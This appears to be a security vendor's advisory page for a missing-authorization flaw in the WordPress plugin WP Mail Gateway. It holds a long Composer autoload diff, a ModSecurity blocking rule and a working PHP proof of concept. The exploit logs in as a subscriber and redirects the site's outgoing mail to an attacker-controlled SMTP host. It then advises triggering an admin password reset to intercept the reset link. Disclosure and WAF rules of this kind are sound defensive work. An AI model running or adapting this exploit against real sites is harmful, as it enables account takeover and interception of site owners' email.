-    'a0edc8309cc5e1d60e3047b5df6b7052' => $vendorDir . '/guzzlehttp/psr7/src/functions_include.php',
+    'e69f7f6ee287b969198c3c9d6777bd38' => $vendorDir . '/symfony/polyfill-intl-normalizer/bootstrap.php',
+    '023d27dca8066ef29e6739335ea73bad' => $vendorDir . '/symfony/polyfill-php70/bootstrap.php',
     '25072dd6e2470089de65ae7bf11d3109' => $vendorDir . '/symfony/polyfill-php72/bootstrap.php',
-    '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => $vendorDir . '/symfony/polyfill-mbstring/bootstrap.php',
-    'c964ee0ededf28c96ebd9db5099ef910' => $vendorDir . '/guzzlehttp/promises/src/functions_include.php',
     '9c67151ae59aff4788964ce8eb2a0f43' => $vendorDir . '/clue/stream-filter/src/functions_include.php',
+    'c964ee0ededf28c96ebd9db5099ef910' => $vendorDir . '/guzzlehttp/promises/src/functions_include.php',
+    'a0edc8309cc5e1d60e3047b5df6b7052' => $vendorDir . '/guzzlehttp/psr7/src/functions_include.php',
     'f598d06aa772fa33d905e87be6398fb1' => $vendorDir . '/symfony/polyfill-intl-idn/bootstrap.php',
-    '8cff32064859f4559445b89279f3199c' => $vendorDir . '/php-http/message/src/filters.php',
     '37a3dc5111fe8f707ab4c132ef1dbc62' => $vendorDir . '/guzzlehttp/guzzle/src/functions_include.php',
+    '8cff32064859f4559445b89279f3199c' => $vendorDir . '/php-http/message/src/filters.php',
     '320cde22f66dd4f5d3fd621d3e88b98f' => $vendorDir . '/symfony/polyfill-ctype/bootstrap.php',
-    '5255c38a0faeba867671b61dfda6d864' => $vendorDir . '/paragonie/random_compat/lib/random.php',
     '3f8bdd3b35094c73a26f0106e3c0f8b2' => $vendorDir . '/sendgrid/sendgrid/lib/SendGrid.php',
     '9dda55337a76a24e949fbcc5d905a2c7' => $vendorDir . '/sendgrid/sendgrid/lib/helpers/mail/Mail.php',
     '5d7e2090c9a3b69b2ff2fceddeadca94' => $vendorDir . '/sendgrid/sendgrid/lib/helpers/contacts/Recipients.php',
--- a/wp-mail-gateway/vendor/composer/autoload_namespaces.php
+++ b/wp-mail-gateway/vendor/composer/autoload_namespaces.php
@@ -2,7 +2,7 @@

 // autoload_namespaces.php @generated by Composer

-$vendorDir = dirname(dirname(__FILE__));
+$vendorDir = dirname(__DIR__);
 $baseDir = dirname($vendorDir);

 return array(
--- a/wp-mail-gateway/vendor/composer/autoload_psr4.php
+++ b/wp-mail-gateway/vendor/composer/autoload_psr4.php
@@ -2,13 +2,14 @@

 // autoload_psr4.php @generated by Composer

-$vendorDir = dirname(dirname(__FILE__));
+$vendorDir = dirname(__DIR__);
 $baseDir = dirname($vendorDir);

 return array(
     'Webmozart\Assert\' => array($vendorDir . '/webmozart/assert/src'),
     'Symfony\Polyfill\Php72\' => array($vendorDir . '/symfony/polyfill-php72'),
-    'Symfony\Polyfill\Mbstring\' => array($vendorDir . '/symfony/polyfill-mbstring'),
+    'Symfony\Polyfill\Php70\' => array($vendorDir . '/symfony/polyfill-php70'),
+    'Symfony\Polyfill\Intl\Normalizer\' => array($vendorDir . '/symfony/polyfill-intl-normalizer'),
     'Symfony\Polyfill\Intl\Idn\' => array($vendorDir . '/symfony/polyfill-intl-idn'),
     'Symfony\Polyfill\Ctype\' => array($vendorDir . '/symfony/polyfill-ctype'),
     'Symfony\Component\OptionsResolver\' => array($vendorDir . '/symfony/options-resolver'),
@@ -20,7 +21,7 @@
     'Omnimail\' => array($vendorDir . '/omnimail/omnimail/src'),
     'Http\Promise\' => array($vendorDir . '/php-http/promise/src'),
     'Http\Message\MultipartStream\' => array($vendorDir . '/php-http/multipart-stream-builder/src'),
-    'Http\Message\' => array($vendorDir . '/php-http/message-factory/src', $vendorDir . '/php-http/message/src'),
+    'Http\Message\' => array($vendorDir . '/php-http/message/src', $vendorDir . '/php-http/message-factory/src'),
     'Http\Discovery\' => array($vendorDir . '/php-http/discovery/src'),
     'Http\Client\Common\' => array($vendorDir . '/php-http/client-common/src'),
     'Http\Client\' => array($vendorDir . '/php-http/httplug/src'),
--- a/wp-mail-gateway/vendor/composer/autoload_real.php
+++ b/wp-mail-gateway/vendor/composer/autoload_real.php
@@ -13,58 +13,38 @@
         }
     }

+    /**
+     * @return ComposerAutoloadClassLoader
+     */
     public static function getLoader()
     {
         if (null !== self::$loader) {
             return self::$loader;
         }

+        require __DIR__ . '/platform_check.php';
+
         spl_autoload_register(array('ComposerAutoloaderInitf30bed4a5932601ed3253b8b4a041425', 'loadClassLoader'), true, true);
-        self::$loader = $loader = new ComposerAutoloadClassLoader();
+        self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
         spl_autoload_unregister(array('ComposerAutoloaderInitf30bed4a5932601ed3253b8b4a041425', 'loadClassLoader'));

-        $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
-        if ($useStaticLoader) {
-            require_once __DIR__ . '/autoload_static.php';
-
-            call_user_func(ComposerAutoloadComposerStaticInitf30bed4a5932601ed3253b8b4a041425::getInitializer($loader));
-        } else {
-            $map = require __DIR__ . '/autoload_namespaces.php';
-            foreach ($map as $namespace => $path) {
-                $loader->set($namespace, $path);
-            }
-
-            $map = require __DIR__ . '/autoload_psr4.php';
-            foreach ($map as $namespace => $path) {
-                $loader->setPsr4($namespace, $path);
-            }
-
-            $classMap = require __DIR__ . '/autoload_classmap.php';
-            if ($classMap) {
-                $loader->addClassMap($classMap);
-            }
-        }
+        require __DIR__ . '/autoload_static.php';
+        call_user_func(ComposerAutoloadComposerStaticInitf30bed4a5932601ed3253b8b4a041425::getInitializer($loader));

         $loader->register(true);

-        if ($useStaticLoader) {
-            $includeFiles = ComposerAutoloadComposerStaticInitf30bed4a5932601ed3253b8b4a041425::$files;
-        } else {
-            $includeFiles = require __DIR__ . '/autoload_files.php';
-        }
-        foreach ($includeFiles as $fileIdentifier => $file) {
-            composerRequiref30bed4a5932601ed3253b8b4a041425($fileIdentifier, $file);
+        $filesToLoad = ComposerAutoloadComposerStaticInitf30bed4a5932601ed3253b8b4a041425::$files;
+        $requireFile = Closure::bind(static function ($fileIdentifier, $file) {
+            if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
+                $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
+
+                require $file;
+            }
+        }, null, null);
+        foreach ($filesToLoad as $fileIdentifier => $file) {
+            $requireFile($fileIdentifier, $file);
         }

         return $loader;
     }
 }
-
-function composerRequiref30bed4a5932601ed3253b8b4a041425($fileIdentifier, $file)
-{
-    if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
-        require $file;
-
-        $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
-    }
-}
--- a/wp-mail-gateway/vendor/composer/autoload_static.php
+++ b/wp-mail-gateway/vendor/composer/autoload_static.php
@@ -7,17 +7,18 @@
 class ComposerStaticInitf30bed4a5932601ed3253b8b4a041425
 {
     public static $files = array (
+        '5255c38a0faeba867671b61dfda6d864' => __DIR__ . '/..' . '/paragonie/random_compat/lib/random.php',
         '7b11c4dc42b3b3023073cb14e519683c' => __DIR__ . '/..' . '/ralouphie/getallheaders/src/getallheaders.php',
-        'a0edc8309cc5e1d60e3047b5df6b7052' => __DIR__ . '/..' . '/guzzlehttp/psr7/src/functions_include.php',
+        'e69f7f6ee287b969198c3c9d6777bd38' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/bootstrap.php',
+        '023d27dca8066ef29e6739335ea73bad' => __DIR__ . '/..' . '/symfony/polyfill-php70/bootstrap.php',
         '25072dd6e2470089de65ae7bf11d3109' => __DIR__ . '/..' . '/symfony/polyfill-php72/bootstrap.php',
-        '0e6d7bf4a5811bfa5cf40c5ccd6fae6a' => __DIR__ . '/..' . '/symfony/polyfill-mbstring/bootstrap.php',
-        'c964ee0ededf28c96ebd9db5099ef910' => __DIR__ . '/..' . '/guzzlehttp/promises/src/functions_include.php',
         '9c67151ae59aff4788964ce8eb2a0f43' => __DIR__ . '/..' . '/clue/stream-filter/src/functions_include.php',
+        'c964ee0ededf28c96ebd9db5099ef910' => __DIR__ . '/..' . '/guzzlehttp/promises/src/functions_include.php',
+        'a0edc8309cc5e1d60e3047b5df6b7052' => __DIR__ . '/..' . '/guzzlehttp/psr7/src/functions_include.php',
         'f598d06aa772fa33d905e87be6398fb1' => __DIR__ . '/..' . '/symfony/polyfill-intl-idn/bootstrap.php',
-        '8cff32064859f4559445b89279f3199c' => __DIR__ . '/..' . '/php-http/message/src/filters.php',
         '37a3dc5111fe8f707ab4c132ef1dbc62' => __DIR__ . '/..' . '/guzzlehttp/guzzle/src/functions_include.php',
+        '8cff32064859f4559445b89279f3199c' => __DIR__ . '/..' . '/php-http/message/src/filters.php',
         '320cde22f66dd4f5d3fd621d3e88b98f' => __DIR__ . '/..' . '/symfony/polyfill-ctype/bootstrap.php',
-        '5255c38a0faeba867671b61dfda6d864' => __DIR__ . '/..' . '/paragonie/random_compat/lib/random.php',
         '3f8bdd3b35094c73a26f0106e3c0f8b2' => __DIR__ . '/..' . '/sendgrid/sendgrid/lib/SendGrid.php',
         '9dda55337a76a24e949fbcc5d905a2c7' => __DIR__ . '/..' . '/sendgrid/sendgrid/lib/helpers/mail/Mail.php',
         '5d7e2090c9a3b69b2ff2fceddeadca94' => __DIR__ . '/..' . '/sendgrid/sendgrid/lib/helpers/contacts/Recipients.php',
@@ -25,31 +26,32 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'W' =>
+        'W' =>
         array (
             'Webmozart\Assert\' => 17,
         ),
-        'S' =>
+        'S' =>
         array (
             'Symfony\Polyfill\Php72\' => 23,
-            'Symfony\Polyfill\Mbstring\' => 26,
+            'Symfony\Polyfill\Php70\' => 23,
+            'Symfony\Polyfill\Intl\Normalizer\' => 33,
             'Symfony\Polyfill\Intl\Idn\' => 26,
             'Symfony\Polyfill\Ctype\' => 23,
             'Symfony\Component\OptionsResolver\' => 34,
             'ShahariaAzam\WPMailGateway\' => 27,
             'SendGrid\' => 9,
         ),
-        'P' =>
+        'P' =>
         array (
             'Psr\Log\' => 8,
             'Psr\Http\Message\' => 17,
             'PHPMailer\PHPMailer\' => 20,
         ),
-        'O' =>
+        'O' =>
         array (
             'Omnimail\' => 9,
         ),
-        'H' =>
+        'H' =>
         array (
             'Http\Promise\' => 13,
             'Http\Message\MultipartStream\' => 29,
@@ -59,140 +61,144 @@
             'Http\Client\' => 12,
             'Http\Adapter\Guzzle6\' => 21,
         ),
-        'G' =>
+        'G' =>
         array (
             'GuzzleHttp\Psr7\' => 16,
             'GuzzleHttp\Promise\' => 19,
             'GuzzleHttp\' => 11,
         ),
-        'C' =>
+        'C' =>
         array (
             'Clue\StreamFilter\' => 18,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'Webmozart\Assert\' =>
+        'Webmozart\Assert\' =>
         array (
             0 => __DIR__ . '/..' . '/webmozart/assert/src',
         ),
-        'Symfony\Polyfill\Php72\' =>
+        'Symfony\Polyfill\Php72\' =>
         array (
             0 => __DIR__ . '/..' . '/symfony/polyfill-php72',
         ),
-        'Symfony\Polyfill\Mbstring\' =>
+        'Symfony\Polyfill\Php70\' =>
+        array (
+            0 => __DIR__ . '/..' . '/symfony/polyfill-php70',
+        ),
+        'Symfony\Polyfill\Intl\Normalizer\' =>
         array (
-            0 => __DIR__ . '/..' . '/symfony/polyfill-mbstring',
+            0 => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer',
         ),
-        'Symfony\Polyfill\Intl\Idn\' =>
+        'Symfony\Polyfill\Intl\Idn\' =>
         array (
             0 => __DIR__ . '/..' . '/symfony/polyfill-intl-idn',
         ),
-        'Symfony\Polyfill\Ctype\' =>
+        'Symfony\Polyfill\Ctype\' =>
         array (
             0 => __DIR__ . '/..' . '/symfony/polyfill-ctype',
         ),
-        'Symfony\Component\OptionsResolver\' =>
+        'Symfony\Component\OptionsResolver\' =>
         array (
             0 => __DIR__ . '/..' . '/symfony/options-resolver',
         ),
-        'ShahariaAzam\WPMailGateway\' =>
+        'ShahariaAzam\WPMailGateway\' =>
         array (
             0 => __DIR__ . '/../..' . '/src',
         ),
-        'SendGrid\' =>
+        'SendGrid\' =>
         array (
             0 => __DIR__ . '/..' . '/sendgrid/php-http-client/lib',
         ),
-        'Psr\Log\' =>
+        'Psr\Log\' =>
         array (
             0 => __DIR__ . '/..' . '/psr/log/Psr/Log',
         ),
-        'Psr\Http\Message\' =>
+        'Psr\Http\Message\' =>
         array (
             0 => __DIR__ . '/..' . '/psr/http-message/src',
         ),
-        'PHPMailer\PHPMailer\' =>
+        'PHPMailer\PHPMailer\' =>
         array (
             0 => __DIR__ . '/..' . '/phpmailer/phpmailer/src',
         ),
-        'Omnimail\' =>
+        'Omnimail\' =>
         array (
             0 => __DIR__ . '/..' . '/omnimail/omnimail/src',
         ),
-        'Http\Promise\' =>
+        'Http\Promise\' =>
         array (
             0 => __DIR__ . '/..' . '/php-http/promise/src',
         ),
-        'Http\Message\MultipartStream\' =>
+        'Http\Message\MultipartStream\' =>
         array (
             0 => __DIR__ . '/..' . '/php-http/multipart-stream-builder/src',
         ),
-        'Http\Message\' =>
+        'Http\Message\' =>
         array (
-            0 => __DIR__ . '/..' . '/php-http/message-factory/src',
-            1 => __DIR__ . '/..' . '/php-http/message/src',
+            0 => __DIR__ . '/..' . '/php-http/message/src',
+            1 => __DIR__ . '/..' . '/php-http/message-factory/src',
         ),
-        'Http\Discovery\' =>
+        'Http\Discovery\' =>
         array (
             0 => __DIR__ . '/..' . '/php-http/discovery/src',
         ),
-        'Http\Client\Common\' =>
+        'Http\Client\Common\' =>
         array (
             0 => __DIR__ . '/..' . '/php-http/client-common/src',
         ),
-        'Http\Client\' =>
+        'Http\Client\' =>
         array (
             0 => __DIR__ . '/..' . '/php-http/httplug/src',
         ),
-        'Http\Adapter\Guzzle6\' =>
+        'Http\Adapter\Guzzle6\' =>
         array (
             0 => __DIR__ . '/..' . '/php-http/guzzle6-adapter/src',
         ),
-        'GuzzleHttp\Psr7\' =>
+        'GuzzleHttp\Psr7\' =>
         array (
             0 => __DIR__ . '/..' . '/guzzlehttp/psr7/src',
         ),
-        'GuzzleHttp\Promise\' =>
+        'GuzzleHttp\Promise\' =>
         array (
             0 => __DIR__ . '/..' . '/guzzlehttp/promises/src',
         ),
-        'GuzzleHttp\' =>
+        'GuzzleHttp\' =>
         array (
             0 => __DIR__ . '/..' . '/guzzlehttp/guzzle/src',
         ),
-        'Clue\StreamFilter\' =>
+        'Clue\StreamFilter\' =>
         array (
             0 => __DIR__ . '/..' . '/clue/stream-filter/src',
         ),
     );

     public static $prefixesPsr0 = array (
-        'S' =>
+        'S' =>
         array (
-            'Sendinblue' =>
+            'Sendinblue' =>
             array (
                 0 => __DIR__ . '/..' . '/mailin-api/mailin-api-php/src',
             ),
         ),
-        'P' =>
+        'P' =>
         array (
-            'Postmark\' =>
+            'Postmark\' =>
             array (
                 0 => __DIR__ . '/..' . '/wildbit/postmark-php/src',
             ),
         ),
-        'M' =>
+        'M' =>
         array (
-            'Mandrill' =>
+            'Mandrill' =>
             array (
                 0 => __DIR__ . '/..' . '/mandrill/mandrill/src',
             ),
-            'Mailjet' =>
+            'Mailjet' =>
             array (
                 0 => __DIR__ . '/..' . '/mailjet/mailjet-apiv3-php/src',
             ),
-            'Mailgun' =>
+            'Mailgun' =>
             array (
                 0 => __DIR__ . '/..' . '/mailgun/mailgun-php/src',
             ),
@@ -200,9 +206,18 @@
     );

     public static $classMap = array (
+        'ArithmeticError' => __DIR__ . '/..' . '/symfony/polyfill-php70/Resources/stubs/ArithmeticError.php',
+        'AssertionError' => __DIR__ . '/..' . '/symfony/polyfill-php70/Resources/stubs/AssertionError.php',
+        'Composer\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php',
+        'DivisionByZeroError' => __DIR__ . '/..' . '/symfony/polyfill-php70/Resources/stubs/DivisionByZeroError.php',
+        'Error' => __DIR__ . '/..' . '/symfony/polyfill-php70/Resources/stubs/Error.php',
+        'Normalizer' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/Resources/stubs/Normalizer.php',
+        'ParseError' => __DIR__ . '/..' . '/symfony/polyfill-php70/Resources/stubs/ParseError.php',
+        'SessionUpdateTimestampHandlerInterface' => __DIR__ . '/..' . '/symfony/polyfill-php70/Resources/stubs/SessionUpdateTimestampHandlerInterface.php',
         'SimpleEmailService' => __DIR__ . '/..' . '/daniel-zahariev/php-aws-ses/src/SimpleEmailService.php',
         'SimpleEmailServiceMessage' => __DIR__ . '/..' . '/daniel-zahariev/php-aws-ses/src/SimpleEmailServiceMessage.php',
         'SimpleEmailServiceRequest' => __DIR__ . '/..' . '/daniel-zahariev/php-aws-ses/src/SimpleEmailServiceRequest.php',
+        'TypeError' => __DIR__ . '/..' . '/symfony/polyfill-php70/Resources/stubs/TypeError.php',
     );

     public static function getInitializer(ClassLoader $loader)
--- a/wp-mail-gateway/vendor/composer/installed.php
+++ b/wp-mail-gateway/vendor/composer/installed.php
@@ -0,0 +1,350 @@
+<?php return array(
+    'root' => array(
+        'name' => 'shahariaazam/wp-mail-gateway',
+        'pretty_version' => 'dev-master',
+        'version' => 'dev-master',
+        'reference' => '7af4da58e9ef5d08ca352a4ef7d5a68051597121',
+        'type' => 'library',
+        'install_path' => __DIR__ . '/../../',
+        'aliases' => array(),
+        'dev' => true,
+    ),
+    'versions' => array(
+        'clue/stream-filter' => array(
+            'pretty_version' => 'v1.4.1',
+            'version' => '1.4.1.0',
+            'reference' => '5a58cc30a8bd6a4eb8f856adf61dd3e013f53f71',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../clue/stream-filter',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'daniel-zahariev/php-aws-ses' => array(
+            'pretty_version' => '0.9.1',
+            'version' => '0.9.1.0',
+            'reference' => '093c23a2d964937494e199a0f417e64b86128331',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../daniel-zahariev/php-aws-ses',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'guzzlehttp/guzzle' => array(
+            'pretty_version' => '6.5.8',
+            'version' => '6.5.8.0',
+            'reference' => 'a52f0440530b54fa079ce76e8c5d196a42cad981',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../guzzlehttp/guzzle',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'guzzlehttp/promises' => array(
+            'pretty_version' => '1.5.3',
+            'version' => '1.5.3.0',
+            'reference' => '67ab6e18aaa14d753cc148911d273f6e6cb6721e',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../guzzlehttp/promises',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'guzzlehttp/psr7' => array(
+            'pretty_version' => '1.9.1',
+            'version' => '1.9.1.0',
+            'reference' => 'e4490cabc77465aaee90b20cfc9a770f8c04be6b',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../guzzlehttp/psr7',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'mailgun/mailgun-php' => array(
+            'pretty_version' => '2.8.1',
+            'version' => '2.8.1.0',
+            'reference' => '4af0346851914ae0d9a58bf9ddf17eb48f6498c8',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../mailgun/mailgun-php',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'mailin-api/mailin-api-php' => array(
+            'pretty_version' => 'v1.0.7',
+            'version' => '1.0.7.0',
+            'reference' => 'b437808566f46979309f01b796c31b7b6bacfb42',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../mailin-api/mailin-api-php',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'mailjet/mailjet-apiv3-php' => array(
+            'pretty_version' => 'v1.4.1',
+            'version' => '1.4.1.0',
+            'reference' => '9d89b9a424a9631bff8e499cbbe34058481e8102',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../mailjet/mailjet-apiv3-php',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'mandrill/mandrill' => array(
+            'pretty_version' => '1.0.55',
+            'version' => '1.0.55.0',
+            'reference' => 'da3adc10042eafac2e53de141b358a52b8e53596',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../mandrill/mandrill',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'omnimail/omnimail' => array(
+            'pretty_version' => '0.3.4',
+            'version' => '0.3.4.0',
+            'reference' => 'b27aaee11418a8da9594b9579f801dad48551a27',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../omnimail/omnimail',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'paragonie/random_compat' => array(
+            'pretty_version' => 'v2.0.21',
+            'version' => '2.0.21.0',
+            'reference' => '96c132c7f2f7bc3230723b66e89f8f150b29d5ae',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../paragonie/random_compat',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'php-http/async-client-implementation' => array(
+            'dev_requirement' => false,
+            'provided' => array(
+                0 => '1.0',
+            ),
+        ),
+        'php-http/client-common' => array(
+            'pretty_version' => '1.10.0',
+            'version' => '1.10.0.0',
+            'reference' => 'c0390ae3c8f2ae9d50901feef0127fb9e396f6b4',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../php-http/client-common',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'php-http/client-implementation' => array(
+            'dev_requirement' => false,
+            'provided' => array(
+                0 => '1.0',
+            ),
+        ),
+        'php-http/discovery' => array(
+            'pretty_version' => '1.6.1',
+            'version' => '1.6.1.0',
+            'reference' => '684855f2c2e9d0a61868b8f8d6bd0295c8a4b651',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../php-http/discovery',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'php-http/guzzle6-adapter' => array(
+            'pretty_version' => 'v1.1.1',
+            'version' => '1.1.1.0',
+            'reference' => 'a56941f9dc6110409cfcddc91546ee97039277ab',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../php-http/guzzle6-adapter',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'php-http/httplug' => array(
+            'pretty_version' => 'v1.1.0',
+            'version' => '1.1.0.0',
+            'reference' => '1c6381726c18579c4ca2ef1ec1498fdae8bdf018',
+            'type' => 'library',
+            'install_path' => __DIR__ . '/../php-http/httplug',
+            'aliases' => array(),
+            'dev_requirement' => false,
+        ),
+        'php-http/message' => array(
+            'pretty_version' => '1.7.2',
+            'version' => '1.7.2.0',
+            'reference' => 'b159ffe570dffd335e22ef0b91a946eacb182fa1',
+            'type' => 'library',
+            'install_path' => __

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-6963
# Blocks unauthorized modification of WP Mail Gateway SMTP config via AJAX
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-6963 WP Mail Gateway Missing Auth via wmg_save_provider_config',severity:'CRITICAL',tag:'CVE-2026-6963',tag:'wordpress',tag:'wp-mail-gateway'"
  SecRule ARGS_POST:action "@streq wmg_save_provider_config" "chain"
    SecRule ARGS_POST:configs "@unconditionalMatch" ""

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-6963 - WP Mail Gateway <= 1.8 - Missing Authorization to Authenticated (Subscriber+) SMTP Configuration Modification

<?php

// Configurable target URL and credentials
$target_url = 'http://wordpress.local'; // Change this to the target WordPress site
$username = 'subscriber_user'; // Change to any subscriber-level account
$password = 'subscriber_pass'; // Change to the account password

// Step 1: Authenticate as subscriber and get cookies
$login_url = $target_url . '/wp-login.php';
$post_data = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Login',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

echo "[*] Logged in as subscribern";

// Step 2: Send the exploit request to change SMTP settings
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Build malicious configs array - point SMTP to attacker's mail server
$attacker_smtp_host = 'attacker-controlled-server.com'; // Change this to attacker's SMTP server
$attacker_smtp_port = '587';
$attacker_email = 'attacker@attacker-controlled-server.com';

$configs = [
    [
        'provider' => 'smtp',
        'smtp_host' => $attacker_smtp_host,
        'smtp_port' => $attacker_smtp_port,
        'smtp_secure' => 'tls',
        'smtp_auth' => true,
        'smtp_username' => 'attacker@attacker-controlled-server.com',
        'smtp_password' => 'attacker_password',
        'from_email' => $attacker_email,
        'from_name' => 'WordPress',
        'is_active' => true
    ]
];

$exploit_data = [
    'action' => 'wmg_save_provider_config',
    'configs' => json_encode($configs)
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] Exploit response (HTTP $http_code):n";
echo $response . "n";

if ($http_code === 200 && strpos($response, 'success') !== false) {
    echo "[+] SUCCESS: SMTP configuration has been changed!n";
    echo "[+] All outgoing mail will now be sent through attacker's SMTP server.n";
    echo "[+] Trigger a password reset on an admin account to intercept the reset link.n";
} else {
    echo "[-] Exploit failed. Target may be patched or not vulnerable.n";
}

// Clean up
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School